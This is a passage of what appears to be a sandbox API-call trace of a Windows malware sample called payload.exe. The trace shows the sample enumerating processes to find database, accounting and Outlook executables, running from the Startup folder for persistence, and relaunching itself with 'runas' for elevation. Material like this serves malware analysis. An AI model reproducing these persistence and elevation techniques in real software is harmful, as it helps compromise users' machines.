[0145.979] lstrlenW (lpString="svchost.exe") returned 11 [0145.979] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.979] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.979] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.979] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.979] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.979] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.979] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.979] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.980] lstrlenW (lpString="svchost.exe") returned 11 [0145.980] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.980] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x518, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.980] lstrlenW (lpString="svchost.exe") returned 11 [0145.980] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.980] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.981] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x520, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.981] lstrlenW (lpString="svchost.exe") returned 11 [0145.981] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.981] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.981] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.981] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.981] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.981] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.981] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.981] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.982] lstrlenW (lpString="svchost.exe") returned 11 [0145.982] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.982] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.982] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.982] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.982] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.982] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.982] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.982] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0145.983] lstrlenW (lpString="spoolsv.exe") returned 11 [0145.983] lstrcmpiW (lpString1="1c8.exe", lpString2="spoolsv.exe") returned -1 [0145.983] lstrcmpiW (lpString1="1cv77.exe", lpString2="spoolsv.exe") returned -1 [0145.983] lstrcmpiW (lpString1="outlook.exe", lpString2="spoolsv.exe") returned -1 [0145.983] lstrcmpiW (lpString1="postgres.exe", lpString2="spoolsv.exe") returned -1 [0145.983] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="spoolsv.exe") returned -1 [0145.983] lstrcmpiW (lpString1="mysqld.exe", lpString2="spoolsv.exe") returned -1 [0145.983] lstrcmpiW (lpString1="sqlservr.exe", lpString2="spoolsv.exe") returned 1 [0145.983] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.983] lstrlenW (lpString="svchost.exe") returned 11 [0145.984] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.984] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.984] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.984] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.984] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.984] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.984] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.984] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0145.984] lstrlenW (lpString="audiodg.exe") returned 11 [0145.984] lstrcmpiW (lpString1="1c8.exe", lpString2="audiodg.exe") returned -1 [0145.984] lstrcmpiW (lpString1="1cv77.exe", lpString2="audiodg.exe") returned -1 [0145.984] lstrcmpiW (lpString1="outlook.exe", lpString2="audiodg.exe") returned 1 [0145.984] lstrcmpiW (lpString1="postgres.exe", lpString2="audiodg.exe") returned 1 [0145.984] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="audiodg.exe") returned 1 [0145.984] lstrcmpiW (lpString1="mysqld.exe", lpString2="audiodg.exe") returned 1 [0145.984] lstrcmpiW (lpString1="sqlservr.exe", lpString2="audiodg.exe") returned 1 [0145.985] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0145.985] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0145.985] lstrcmpiW (lpString1="1c8.exe", lpString2="OfficeClickToRun.exe") returned -1 [0145.985] lstrcmpiW (lpString1="1cv77.exe", lpString2="OfficeClickToRun.exe") returned -1 [0145.985] lstrcmpiW (lpString1="outlook.exe", lpString2="OfficeClickToRun.exe") returned 1 [0145.985] lstrcmpiW (lpString1="postgres.exe", lpString2="OfficeClickToRun.exe") returned 1 [0145.985] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="OfficeClickToRun.exe") returned -1 [0145.985] lstrcmpiW (lpString1="mysqld.exe", lpString2="OfficeClickToRun.exe") returned -1 [0145.985] lstrcmpiW (lpString1="sqlservr.exe", lpString2="OfficeClickToRun.exe") returned 1 [0145.985] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x724, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0145.986] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0145.986] lstrcmpiW (lpString1="1c8.exe", lpString2="SecurityHealthService.exe") returned -1 [0145.986] lstrcmpiW (lpString1="1cv77.exe", lpString2="SecurityHealthService.exe") returned -1 [0145.986] lstrcmpiW (lpString1="outlook.exe", lpString2="SecurityHealthService.exe") returned -1 [0145.986] lstrcmpiW (lpString1="postgres.exe", lpString2="SecurityHealthService.exe") returned -1 [0145.986] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SecurityHealthService.exe") returned -1 [0145.986] lstrcmpiW (lpString1="mysqld.exe", lpString2="SecurityHealthService.exe") returned -1 [0145.986] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SecurityHealthService.exe") returned 1 [0145.986] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0145.987] lstrlenW (lpString="Memory Compression") returned 18 [0145.987] lstrcmpiW (lpString1="1c8.exe", lpString2="Memory Compression") returned -1 [0145.987] lstrcmpiW (lpString1="1cv77.exe", lpString2="Memory Compression") returned -1 [0145.987] lstrcmpiW (lpString1="outlook.exe", lpString2="Memory Compression") returned 1 [0145.987] lstrcmpiW (lpString1="postgres.exe", lpString2="Memory Compression") returned 1 [0145.987] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="Memory Compression") returned 1 [0145.987] lstrcmpiW (lpString1="mysqld.exe", lpString2="Memory Compression") returned 1 [0145.987] lstrcmpiW (lpString1="sqlservr.exe", lpString2="Memory Compression") returned 1 [0145.987] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0145.987] lstrlenW (lpString="sihost.exe") returned 10 [0145.987] lstrcmpiW (lpString1="1c8.exe", lpString2="sihost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="1cv77.exe", lpString2="sihost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="outlook.exe", lpString2="sihost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="postgres.exe", lpString2="sihost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="sihost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="mysqld.exe", lpString2="sihost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="sqlservr.exe", lpString2="sihost.exe") returned 1 [0145.988] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x844, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0145.988] lstrlenW (lpString="svchost.exe") returned 11 [0145.988] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0145.988] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0145.988] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0145.989] lstrlenW (lpString="taskhostw.exe") returned 13 [0145.989] lstrcmpiW (lpString1="1c8.exe", lpString2="taskhostw.exe") returned -1 [0145.989] lstrcmpiW (lpString1="1cv77.exe", lpString2="taskhostw.exe") returned -1 [0145.989] lstrcmpiW (lpString1="outlook.exe", lpString2="taskhostw.exe") returned -1 [0145.989] lstrcmpiW (lpString1="postgres.exe", lpString2="taskhostw.exe") returned -1 [0145.989] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="taskhostw.exe") returned -1 [0145.989] lstrcmpiW (lpString1="mysqld.exe", lpString2="taskhostw.exe") returned -1 [0145.989] lstrcmpiW (lpString1="sqlservr.exe", lpString2="taskhostw.exe") returned -1 [0145.989] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1a0, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0145.990] lstrlenW (lpString="msoia.exe") returned 9 [0145.990] lstrcmpiW (lpString1="1c8.exe", lpString2="msoia.exe") returned -1 [0145.990] lstrcmpiW (lpString1="1cv77.exe", lpString2="msoia.exe") returned -1 [0145.990] lstrcmpiW (lpString1="outlook.exe", lpString2="msoia.exe") returned 1 [0145.990] lstrcmpiW (lpString1="postgres.exe", lpString2="msoia.exe") returned 1 [0145.990] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="msoia.exe") returned 1 [0145.990] lstrcmpiW (lpString1="mysqld.exe", lpString2="msoia.exe") returned 1 [0145.990] lstrcmpiW (lpString1="sqlservr.exe", lpString2="msoia.exe") returned 1 [0145.990] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x40, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0145.991] lstrlenW (lpString="explorer.exe") returned 12 [0145.991] lstrcmpiW (lpString1="1c8.exe", lpString2="explorer.exe") returned -1 [0145.991] lstrcmpiW (lpString1="1cv77.exe", lpString2="explorer.exe") returned -1 [0145.991] lstrcmpiW (lpString1="outlook.exe", lpString2="explorer.exe") returned 1 [0145.991] lstrcmpiW (lpString1="postgres.exe", lpString2="explorer.exe") returned 1 [0145.991] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="explorer.exe") returned 1 [0145.991] lstrcmpiW (lpString1="mysqld.exe", lpString2="explorer.exe") returned 1 [0145.991] lstrcmpiW (lpString1="sqlservr.exe", lpString2="explorer.exe") returned 1 [0145.991] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0145.992] lstrlenW (lpString="SearchUI.exe") returned 12 [0145.992] lstrcmpiW (lpString1="1c8.exe", lpString2="SearchUI.exe") returned -1 [0145.992] lstrcmpiW (lpString1="1cv77.exe", lpString2="SearchUI.exe") returned -1 [0145.992] lstrcmpiW (lpString1="outlook.exe", lpString2="SearchUI.exe") returned -1 [0145.992] lstrcmpiW (lpString1="postgres.exe", lpString2="SearchUI.exe") returned -1 [0145.992] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="SearchUI.exe") returned -1 [0145.992] lstrcmpiW (lpString1="mysqld.exe", lpString2="SearchUI.exe") returned -1 [0145.992] lstrcmpiW (lpString1="sqlservr.exe", lpString2="SearchUI.exe") returned 1 [0145.992] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0145.993] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0145.993] lstrcmpiW (lpString1="1c8.exe", lpString2="ShellExperienceHost.exe") returned -1 [0145.993] lstrcmpiW (lpString1="1cv77.exe", lpString2="ShellExperienceHost.exe") returned -1 [0145.993] lstrcmpiW (lpString1="outlook.exe", lpString2="ShellExperienceHost.exe") returned -1 [0145.993] lstrcmpiW (lpString1="postgres.exe", lpString2="ShellExperienceHost.exe") returned -1 [0145.993] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="ShellExperienceHost.exe") returned -1 [0145.993] lstrcmpiW (lpString1="mysqld.exe", lpString2="ShellExperienceHost.exe") returned -1 [0145.993] lstrcmpiW (lpString1="sqlservr.exe", lpString2="ShellExperienceHost.exe") returned 1 [0145.993] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0145.993] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0145.993] lstrcmpiW (lpString1="1c8.exe", lpString2="RuntimeBroker.exe") returned -1 [0145.993] lstrcmpiW (lpString1="1cv77.exe", lpString2="RuntimeBroker.exe") returned -1 [0145.993] lstrcmpiW (lpString1="outlook.exe", lpString2="RuntimeBroker.exe") returned -1 [0145.993] lstrcmpiW (lpString1="postgres.exe", lpString2="RuntimeBroker.exe") returned -1 [0145.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="RuntimeBroker.exe") returned -1 [0145.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="RuntimeBroker.exe") returned -1 [0145.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="RuntimeBroker.exe") returned 1 [0145.994] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xda4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0145.994] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0145.994] lstrcmpiW (lpString1="1c8.exe", lpString2="WmiPrvSE.exe") returned -1 [0145.994] lstrcmpiW (lpString1="1cv77.exe", lpString2="WmiPrvSE.exe") returned -1 [0145.994] lstrcmpiW (lpString1="outlook.exe", lpString2="WmiPrvSE.exe") returned -1 [0145.994] lstrcmpiW (lpString1="postgres.exe", lpString2="WmiPrvSE.exe") returned -1 [0145.994] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="WmiPrvSE.exe") returned -1 [0145.994] lstrcmpiW (lpString1="mysqld.exe", lpString2="WmiPrvSE.exe") returned -1 [0145.994] lstrcmpiW (lpString1="sqlservr.exe", lpString2="WmiPrvSE.exe") returned -1 [0145.994] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x9c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0145.995] lstrlenW (lpString="payload.exe") returned 11 [0145.995] lstrcmpiW (lpString1="1c8.exe", lpString2="payload.exe") returned -1 [0145.995] lstrcmpiW (lpString1="1cv77.exe", lpString2="payload.exe") returned -1 [0145.995] lstrcmpiW (lpString1="outlook.exe", lpString2="payload.exe") returned -1 [0145.995] lstrcmpiW (lpString1="postgres.exe", lpString2="payload.exe") returned 1 [0145.995] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="payload.exe") returned -1 [0145.995] lstrcmpiW (lpString1="mysqld.exe", lpString2="payload.exe") returned -1 [0145.995] lstrcmpiW (lpString1="sqlservr.exe", lpString2="payload.exe") returned 1 [0145.995] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0145.996] lstrlenW (lpString="dllhost.exe") returned 11 [0145.996] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0145.996] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0145.996] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0145.996] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0145.996] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0145.996] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0145.996] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0145.996] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0145.997] lstrlenW (lpString="dllhost.exe") returned 11 [0145.997] lstrcmpiW (lpString1="1c8.exe", lpString2="dllhost.exe") returned -1 [0145.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="dllhost.exe") returned -1 [0145.997] lstrcmpiW (lpString1="outlook.exe", lpString2="dllhost.exe") returned 1 [0145.997] lstrcmpiW (lpString1="postgres.exe", lpString2="dllhost.exe") returned 1 [0145.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="dllhost.exe") returned 1 [0145.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="dllhost.exe") returned 1 [0145.997] lstrcmpiW (lpString1="sqlservr.exe", lpString2="dllhost.exe") returned 1 [0145.997] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 1 [0145.997] lstrlenW (lpString="payload.exe") returned 11 [0145.997] lstrcmpiW (lpString1="1c8.exe", lpString2="payload.exe") returned -1 [0145.997] lstrcmpiW (lpString1="1cv77.exe", lpString2="payload.exe") returned -1 [0145.997] lstrcmpiW (lpString1="outlook.exe", lpString2="payload.exe") returned -1 [0145.997] lstrcmpiW (lpString1="postgres.exe", lpString2="payload.exe") returned 1 [0145.997] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="payload.exe") returned -1 [0145.997] lstrcmpiW (lpString1="mysqld.exe", lpString2="payload.exe") returned -1 [0145.998] lstrcmpiW (lpString1="sqlservr.exe", lpString2="payload.exe") returned 1 [0145.998] Process32NextW (in: hSnapshot=0x310, lppe=0x24cfd2c | out: lppe=0x24cfd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf7c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0xdd4, pcPriClassBase=8, dwFlags=0x0, szExeFile="payload.exe")) returned 0 [0145.998] CloseHandle (hObject=0x310) returned 1 [0145.998] Sleep (dwMilliseconds=0x1f4) Thread: id = 35 os_tid = 0xdfc [0126.002] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x57add8 [0126.002] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57b400 [0126.002] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x57acb8 [0126.002] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57acb8, Size=0x20) returned 0x54f050 [0126.002] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x57ad90 [0126.002] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x57ad90, Size=0x20) returned 0x54eda8 [0126.002] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0126.002] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0126.002] Wow64DisableWow64FsRedirection (in: OldValue=0x25cff20 | out: OldValue=0x25cff20*=0x0) returned 1 [0126.002] lstrlenW (lpString="kernel32.dll") returned 12 [0126.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54f050 | out: hHeap=0x510000) returned 1 [0126.002] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0126.002] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54eda8 | out: hHeap=0x510000) returned 1 [0126.002] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x57b400, nSize=0x7fff | out: lpFilename="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\payload.exe")) returned 0x48 [0126.003] ShellExecuteExW (in: pExecInfo=0x25cff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x0, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0) | out: pExecInfo=0x25cff2c*(cbSize=0x3c, fMask=0x0, hwnd=0x0, lpVerb="runas", lpFile="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\payload.exe", lpParameters="-a", lpDirectory=0x0, nShow=1, hInstApp=0x2a, lpIDList=0x0, lpClass=0x0, hkeyClass=0x0, dwHotKey=0x0, hIcon=0x0, hMonitor=0x0, hProcess=0x0)) returned 1 [0144.887] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4c88 [0144.887] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4c88, Size=0x20) returned 0x443de00 [0144.887] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x5b4ce8 [0144.887] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5b4ce8, Size=0x20) returned 0x443dfe0 [0144.887] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75130000 [0144.887] GetProcAddress (hModule=0x75130000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75146b30 [0144.888] Wow64DisableWow64FsRedirection (in: OldValue=0x0 | out: OldValue=0x0) returned 0 [0144.890] lstrlenW (lpString="kernel32.dll") returned 12 [0144.890] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443dfe0 | out: hHeap=0x510000) returned 1 [0144.890] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0144.890] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x443de00 | out: hHeap=0x510000) returned 1 [0144.890] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57b400 | out: hHeap=0x510000) returned 1 [0144.891] lstrlenW (lpString="runas") returned 5 [0144.891] HeapFree (in: hHeap=0x510000, 